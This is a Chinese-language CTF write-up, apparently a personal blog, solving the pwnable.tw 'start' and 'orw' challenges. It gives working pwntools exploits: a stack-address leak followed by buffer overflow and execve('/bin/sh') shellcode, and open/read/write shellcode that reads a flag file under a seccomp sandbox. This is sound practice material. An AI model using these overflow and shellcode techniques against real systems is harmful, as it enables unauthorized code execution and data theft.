刷一刷pwnable.tw的题目

start

这道题还是有意思啊,自己把汇编代码都能理解,就是思路还是有些僵硬,不够灵活,第一道题就学到了不少,挺好

程序就三个函数:read、write、exit
保护全关意味着可以ret2shellcode,但是有个问题:不知道栈地址,所以如果我们能知道一个栈地址的话就可以完成利用

程序只有一个write函数,还是通过系统调用的方式来使用的,这样的话我们只能想办法跳转到write函数之前,看是否有位置可以打印出栈中某个地址
看来看去也就只有这一条似乎可以利用“mov ecx, esp”,跳转过去执行发现果然泄露出了栈中一个地址,并且结合汇编代码可知后续的read函数读取的内容也是从这个位置开始保存

知道栈地址就很简单了,ret2shellcode就可以用了,需要注意的时他的输入长度为60,并且到达ret位置需要20个字符,需要控制好shellcode长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

# r = process("./start")
r = remote("chall.pwnable.tw", 10000)


shellcode = shellcraft.execve('/bin/sh', 0, 0)
print(len(asm(shellcode)))


payload = 'a'*20 + p32(0x08048087)
r.recvuntil(":")
pause()
r.send(payload)

addr = u32(r.recv(4))
r.recv()
payload = 'a'*20 + p32(addr+20) + asm(shellcode)
r.send(payload)

r.interactive()

orw

第二题就很简单了,ida打开可以看到有沙盒,seccomp-tools分析可以看到只有有限的几个函数可以用(题目里其实也说过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@3144767e7ff2:/ctf/pwnable.tw# seccomp-tools dump ./orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
root@3144767e7ff2:/ctf/pwnable.tw#

程序主函数中有一个输入脚本并执行的功能,那就直接写orw的代码让他执行就好(我在本地没法执行?vmmap查看本地的bss没有执行权限,就很奇怪,checksec明明没有NX)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'

# r = process("orw")
r = remote("chall.pwnable.tw", 10001)


shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax', 0x0804A100, 0x30)
shellcode += shellcraft.write(1, 0x0804A100, 0x30)

payload = asm(shellcode)
print(len(payload))


r.recvuntil(":")
pause()
r.sendline(payload)

r.interactive()